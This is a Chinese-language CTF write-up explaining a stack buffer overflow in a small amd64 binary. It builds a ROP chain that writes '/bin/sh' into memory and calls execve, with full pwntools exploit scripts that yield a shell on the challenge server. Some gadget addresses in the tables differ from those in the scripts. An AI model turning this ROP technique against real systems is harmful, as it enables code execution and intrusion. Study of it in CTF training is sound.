Author:堇姬
開NX沒辦法寫shellcode,另外他開了canary,但其實沒開(沒有check canary的判斷式)
如果有開會有這個
read的buffer overflow一樣給好給滿
#include <stdio.h>
int main(){
char buf[0x40];
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdout,0,_IONBF,0);
printf("Give me your overflow: ");
read(0,buf,0x400); // oops!
return 0;
}
基本上應該是要直接堆ROP
所以我們看看堆出execve需要甚麼吧
暫存器 | 值 |
---|---|
rax | 0x3b |
rdi | 要執行的參數值(/bin/sh) |
rsi | argv(這裡=0) |
rdx | envp(這裡=0) |
先找看看有沒有pop register;ret之類的可以控這些register
ROPgadget找位置
暫存器 | 位置 |
---|---|
pop rax ;ret | 0x42e3a7 |
pop rdi ;ret | 0x402540 |
pop rsi ;ret | 0x4126a3 |
pop rdx ; pop rbx ; ret | 0x47b917 |
syscall | 0x401c54 |
目前發現所有register都是可控的
但是我們必須找到一段可以寫入/bin/sh
的地方,所以我們可以嘗試用這種gadget
mov QWORD PTR [register1], register2;ret
他會把register2
的值寫入到register1
所存值得記憶體位置
暫存器 | 位置 |
---|---|
mov qword ptr [rsi], rdx ; ret | 0x487e8a |
目前看到data段0x4c5000~0x4c8000可寫,所以嘗試去找看起來沒用到的memory
0x4c50e0
看起來沒東西,嘗試寫到那。
stack狀況
AAAAAA(0x48個蓋buf跟old rbp)
pop rdx ; pop rbx
/bin/sh\x00
0
pop rsi
0x4c50e0
mov qword ptr [rsi], rdx ; ret
目前狀況run起來用gdb下b在main最後的ret看看
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
tst=input()
if tst==1:
r=remote('chall.nckuctf.org', 10007)
else:
r=process("./rop")
write_binsh={
"pop_rdx_addr":0x485a8b,
"pop_rdx_value":b'/bin/sh\x00',
"pop_rbx_value":0,
"pop_rsi_addr":0x409f0e,
"pop_rsi_value":0x4c50e0,
"mov":0x487e8a
}
writebinsh_payload=flat(write_binsh["pop_rdx_addr"],
write_binsh["pop_rdx_value"],
write_binsh["pop_rbx_value"],
write_binsh["pop_rsi_addr"],
write_binsh['pop_rsi_value'],
write_binsh["mov"]
)
gdb.attach(r,"b *0x00000000004017f2")
r.sendlineafter(b'Give me your overflow: ',b'a'*0x48+writebinsh_payload)
r.interactive()
已經成功把/bin/sh
寫到0x4c50e0
接下來開始堆參數
暫存器 | 位置 | 要蓋的值 |
---|---|---|
pop rax ;ret | 0x44fd07 | 0x3b |
pop rdi ;ret | 0x401e9f | 0x4c50e0 |
pop rsi ;ret | 0x409f0e | 0 |
pop rdx ; pop rbx ; ret | 0x485a8b | 0 0 |
syscall | 0x401c54 | 無 |
stack狀況
AAAAAA(0x48個蓋buf跟old rbp)
pop rdx ; pop rbx
/bin/sh\x00
0
pop rsi
0x4c50e0
mov qword ptr [rsi], rdx ; ret
pop rax
0x3b
pop rdi
0x4c50e0
pop rsi
0
pop rdx ; pop rbx
0
0
syscall
這樣就成功堆出execve了
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
tst=input()
if tst=='1':
r=remote('chall.nckuctf.org', 10007)
else:
r=process("./rop")
write_binsh={
"pop_rdx_addr":0x485a8b,
"pop_rdx_value":b'/bin/sh\x00',
"pop_rbx_value":0,
"pop_rsi_addr":0x409f0e,
"pop_rsi_value":0x4c50e0,
"mov":0x487e8a
}
writebinsh_payload=flat(write_binsh["pop_rdx_addr"],
write_binsh["pop_rdx_value"],
write_binsh["pop_rbx_value"],
write_binsh["pop_rsi_addr"],
write_binsh['pop_rsi_value'],
write_binsh["mov"]
)
ROPvar={
'pop_rax_ret':0x44fd07,
'pop_rdi_ret':0x401e9f,
'pop_rsi_ret':0x409f0e,
'pop_rdx_rbx_ret':0x485a8b,
'syscall':0x401c54
}
STACKvar={
'rax_var':0x3b,
'rdi_var':0x4c50e0,
'rsi_var':0,
'rdx_var':0,
'rbx_var':0
}
ROP_payload=flat(ROPvar['pop_rax_ret'],
STACKvar['rax_var'],
ROPvar['pop_rdi_ret'],
STACKvar['rdi_var'],
ROPvar['pop_rsi_ret'],
STACKvar['rsi_var'],
ROPvar['pop_rdx_rbx_ret'],
STACKvar['rdx_var'],
STACKvar['rbx_var'],
ROPvar['syscall'])
if tst!='1':
gdb.attach(r,"b *0x00000000004017f2")
r.sendlineafter(b'Give me your overflow: ',b'a'*0x48+writebinsh_payload+ROP_payload)
r.interactive()